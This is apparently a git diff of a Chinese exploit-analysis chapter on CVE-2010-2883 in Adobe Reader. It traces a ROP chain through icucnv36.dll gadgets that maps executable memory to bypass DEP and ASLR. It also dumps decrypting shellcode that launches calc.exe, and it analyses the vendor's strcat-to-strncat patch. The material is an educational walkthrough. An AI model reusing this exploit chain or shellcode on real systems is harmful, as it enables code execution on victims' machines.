|MaximumSizeHigh = 0x0 +0C0C0C50 00010000 |MaximumSizeLow = 0x10000 +0C0C0C54 00000000 \MapName = NULL +``` + +接下来是调用 `MapViewOfFile` 的过程: +``` +4A8063A5 59 pop ecx ; esp = 0C0C0C8C, ecx = 4A801064 +4A8063A6 C3 retn ; esp = 0C0C0C90, eip = 4A842DB2 +``` +``` +4A842DB2 97 xchg eax,edi +4A842DB3 C3 retn ; esp = 0C0C0C94, eip = 4A802AB1 +``` +``` +4A802AB1 5B pop ebx ; esp = 0C0C0C98, ebx = 00000008 +4A802AB2 C3 retn ; esp = 0C0C0C9C, eip = 4A80A8A6 +``` +``` +4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi +... +4A80A8C8 32C0 xor al,al +4A80A8CA C3 retn ; esp = 0C0C0CA0, eip = 4A801F90 +``` +``` +4A801F90 58 pop eax ; esp = 0C0C0CA4, eax = 4A849030 <&KERNEL32.MapViewOfFile> +4A801F91 C3 retn ; esp = 0C0C0CA8, eip = 4A80B692 +``` +``` +4A80B692 - FF20 jmp dword ptr ds:[eax] ; kernel32.MapViewOfFile +``` +调用函数 `kernel32.MapViewOfFileEx` 将文件映射到内存映射地址空间,各参数如下所示: +``` +0C0C0C8C 000003D8 |hMapObject = 000003D8 +0C0C0C90 00000022 |AccessMode = 0x22 +0C0C0C94 00000000 |OffsetHigh = 0x0 +0C0C0C98 00000000 |OffsetLow = 0x0 +0C0C0C9C 00010000 |MapSize = 10000 (65536.) +0C0C0CA0 00000000 \BaseAddr = NULL +``` + +最后调用函数 `memcpy` 将真正的 shellcode 复制到 `MapViewOfFile` 返回的地址处。这是一段可读可写可执行的内存,从而绕过 DEP。另外由于所使用的 gadgets 都来自 `icucnv36.dll` 模块,该模块不受 ASLR 的影响,所以同时也相当于绕过了 ASLR。 +``` +4A8063A5 59 pop ecx ; esp = 0C0C0CC8, ecx = 4A8A0004 +4A8063A6 C3 retn ; esp = 0C0C0CCC, eip = 4A802196 +``` +``` +4A802196 8901 mov dword ptr ds:[ecx],eax +4A802198 C3 retn ; esp = 0C0C0CD0, eip = 4A8063A5 +``` +``` +4A8063A5 59 pop ecx ; esp = 0C0C0CD4, ecx = 4A801064 +4A8063A6 C3 retn ; esp = 0C0C0CD8, eip = 4A842DB2 +``` +``` +4A842DB2 97 xchg eax,edi +4A842DB3 C3 retn ; esp = 0C0C0CDC, eip = 4A802AB1 +``` +``` +4A802AB1 5B pop ebx ; esp = 0C0C0CE0, ebx = 00000030 +4A802AB2 C3 retn ; esp = 0C0C0CE4, eip = 4A80A8A6 +``` +``` +4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi +... +4A80A8C8 32C0 xor al,al +4A80A8CA C3 retn ; esp = 0C0C0CE8, eip = 4A801F90 +``` +``` +4A801F90 58 pop eax ; esp = 0C0C0CEC, eax = 4A8A0004 +4A801F91 C3 retn ; esp = 0C0C0CF0, eip = 4A80A7D8 +``` +``` +4A80A7D8 8B00 mov eax,dword ptr ds:[eax] +4A80A7DA C3 retn ; esp = 0C0C0CF4, eip = 4A8063A5 +``` +``` +4A8063A5 59 pop ecx ; esp = 0C0C0CF8, ecx = 4A801064 +4A8063A6 C3 retn ; esp = 0C0C0CFC, eip = 4A842DB2 +``` +``` +4A842DB2 97 xchg eax,edi +4A842DB3 C3 retn ; esp = 0C0C0D00, eip = 4A802AB1 +``` +``` +4A802AB1 5B pop ebx ; esp = 0C0C0D04, ebx = 00000020 +4A802AB2 C3 retn ; esp = 0C0C0D08, eip = 4A80A8A6 +``` +``` +4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi +... +4A80A8C8 32C0 xor al,al +4A80A8CA C3 retn ; esp = 0C0C0D0C, eip = 4A8063A5 +``` +``` +4A8063A5 59 pop ecx ; esp = 0C0C0D10, ecx = 4A801064 +4A8063A6 C3 retn ; esp = 0C0C0D14, eip = 4A80AEDC +``` +``` +4A80AEDC 8D5424 0C lea edx,dword ptr ss:[esp+0xC] ; edx = 0C0C0D20 +4A80AEE0 52 push edx +4A80AEE1 50 push eax +4A80AEE2 FF7424 0C push dword ptr ss:[esp+0xC] +4A80AEE6 FF35 3C098A4A push dword ptr ds:[0x4A8A093C] +4A80AEEC FFD1 call ecx ; esp = 0C0C0D00, eip = 4A801064 +4A80AEEE 83C4 10 add esp,0x10 +4A80AEF1 C3 retn +``` +``` +4A801064 C3 retn ; esp = 0C0C0D04, eip = 4A80AEEE +``` +``` +4A80AEEE 83C4 10 add esp,0x10 +4A80AEF1 C3 retn ; esp = 0C0C0D18, eip = 4A801F90 +``` +``` +4A801F90 58 pop eax ; eax = 00000034 +4A801F91 C3 retn ; esp = 0C0C0D20, eip = 4A80D585 +``` +``` +4A80D585 03C2 add eax,edx ; eax = 0C0C0D54 +4A80D587 C3 retn ; esp = 0C0C0D24, eip = 4A8063A5 +``` +``` +4A8063A5 59 pop ecx ; ecx = 4A801064 +4A8063A6 C3 retn ; esp = 0C0C0D2C, eip = 4A842DB2 +``` +``` +4A842DB2 97 xchg eax,edi +4A842DB3 C3 retn ; esp = 0C0C0D30, eip = 4A802AB1 +``` +``` +4A802AB1 5B pop ebx ; ebx = 0000000A +4A802AB2 C3 retn ; esp = 0C0C0D38, eip = 4A80A8A6 +``` +``` +4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi +... +4A80A8C8 32C0 xor al,al +4A80A8CA C3 retn ; esp = 0C0C0D3C, eip = 4A801F90 +``` +``` +4A801F90 58 pop eax ; eax = 4A849170 <&MSVCR80.memcpy> +4A801F91 C3 retn ; esp = 0C0C0D44, eip = 4A80B692 +``` +``` +4A80B692 - FF20 jmp dword ptr ds:[eax] ; msvcr80.memcpy +``` +调用函数 `memcpy`,各参数如下所示: +``` +0C0C0D44 03E90000 /CALL 到 memcpy +0C0C0D48 03E90000 |dest = 03E90000 +0C0C0D4C 0C0C0D54 |src = 0C0C0D54 +0C0C0D50 00001000 \n = 1000 (4096.) +``` + +然后这段复制过去的 shellcode 会被解密,并跳到 `03E900A3` 执行: +``` +03E9000E B1 31 mov cl,0x31 +03E90010 315A 18 xor dword ptr ds:[edx+0x18],ebx +03E90013 035A 18 add ebx,dword ptr ds:[edx+0x18] +03E90016 83C2 04 add edx,0x4 +03E90019 ^ E2 F5 loopd short 03E90010 +03E9001B FC cld +03E9001C E8 82000000 call 03E900A3 +``` +``` +d 03E90000: + +03E90000 DB C1 D9 74 24 F4 BB 81 F4 49 9E 5A 29 C9 B1 31 哿賢$艋侓I瀂)杀1 +03E90010 31 5A 18 03 5A 18 83 C2 04 E2 F5 FC E8 82 00 00 1ZZ兟怩?. +03E90020 00 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14 .`夊1纃婸0婻.婻 +03E90030 8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C 02 2C 20 媟(稪&1?a|, +03E90040 C1 CF 0D 01 C7 E2 F2 52 57 8B 52 10 8B 4A 3C 8B 料.氢騌W婻婮< +03E90050 4C 11 78 E3 48 01 D1 51 8B 59 20 01 D3 8B 49 18 Lx鉎裃媃 計I +03E90060 E3 3A 49 8B 34 8B 01 D6 31 FF AC C1 CF 0D 01 C7 ?I???? +03E90070 38 E0 75 F6 03 7D F8 3B 7D 24 75 E4 58 8B 58 24 8鄒?}?}$u鋁媂$ +03E90080 01 D3 66 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 觙?K媂計? +03E90090 89 44 24 24 5B 5B 61 59 5A 51 FF E0 5F 5F 5A 8B 塂$$[[aYZQ郷_Z +03E900A0 12 EB 8D 5D 6A 01 8D 85 B2 00 00 00 50 68 31 8B 雿]j崊?..Ph1 +03E900B0 6F 87 FF D5 BB F0 B5 A2 56 68 A6 95 BD 9D FF D5 o?栈鸬h綕 +03E900C0 3C 06 7C 0A 80 FB E0 75 05 BB 47 13 72 6F 6A 00 <|.€u籊roj. +03E900D0 53 FF D5 63 61 6C 63 2E 65 78 65 00 0C 0C 0C 0C S誧alc.exe..... +03E900E0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ +``` +最后弹出计算器: +``` +03E900A3 5D pop ebp ; ebp = 03E90021 +03E900A4 6A 01 push 0x1 +03E900A6 8D85 B2000000 lea eax,dword ptr ss:[ebp+0xB2] ; eax = 03E900D3 "calc.exe" +03E900AC 50 push eax +03E900AD 68 318B6F87 push 0x876F8B31 +03E900B2 FFD5 call ebp +``` + +#### 补丁 +利用 BinDiff 插件进行二进制比对,可以看到在修复漏洞时使用函数 `sub_813391E` 替换了 `strcat`: +``` +0.92 0.97 GI-JE-C 0803DD33 sub_803DD33 0803DCF9 sub_803DCF9 call reference matching 50 52 51 220 254 247 72 84 83 +``` + +![](../pic/7.1.8_diff.png) + +跟进函数 `sub_813391E`: +``` +.text:0813391E ; int __cdecl sub_813391E(char *Str, char *Source, int) +.text:0813391E sub_813391E proc near ; CODE XREF: sub_803C375+244↑p +.text:0813391E ; sub_803C375+2BB↑p ... +.text:0813391E +.text:0813391E Str = dword ptr 4 +.text:0813391E Source = dword ptr 8 +.text:0813391E arg_8 = dword ptr 0Ch +.text:0813391E +.text:0813391E push esi +.text:0813391F mov esi, [esp+4+Str] +.text:08133923 push esi ; Str +.text:08133924 call strlen ; 获得 uniqueName 的长度,返回值在 eax 中 +.text:08133929 pop ecx +.text:0813392A mov ecx, [esp+4+arg_8] ; ecx 的值是 0x104 +.text:0813392E cmp ecx, eax ; 判断是否大于 0x104 个字节 +.text:08133930 ja short loc_8133936 ; 跳转 +.text:08133932 mov eax, esi +.text:08133934 pop esi +.text:08133935 retn +.text:08133936 ; --------------------------------------------------------------------------- +.text:08133936 +.text:08133936 loc_8133936: ; CODE XREF: sub_813391E+12↑j +.text:08133936 sub ecx, eax +.text:08133938 dec ecx +.text:08133939 push ecx ; Count ; ecx = ecx - eax - 1 +.text:0813393A push [esp+8+Source] ; Source +.text:0813393E add eax, esi ; 动态调整栈空间 +.text:08133940 push eax ; Dest +.text:08133941 call ds:strncat ; strncat 复制字符串 +.text:08133947 add esp, 0Ch +.text:0813394A pop esi +.text:0813394B retn +.text:0813394B sub_813391E endp +``` +使用更安全的 `strncat` 替代 `strcat`,限制字符串长度为 `0x104` 字节,并且根据字符串长度动态地调整栈空间。 + ## 参考资料 - 《漏洞战争》 - https://www.cvedetails.com/cve/CVE-2010-2883/ +- [PDF File Format: Basic Structure](https://resources.infosecinstitute.com/pdf-file-format-basic-structure/) +- [TrueType 1.0 Font Files](https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/minuxs/TrueType%201.0%20Font%20Files.pdf) diff --git a/pic/7.1.8_diff.png b/pic/7.1.8_diff.png new file mode 100644 index 0000000000000000000000000000000000000000..80241f459ce5f6feeaf51f1c74391595c9329ad5 GIT binary patch literal 84123 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 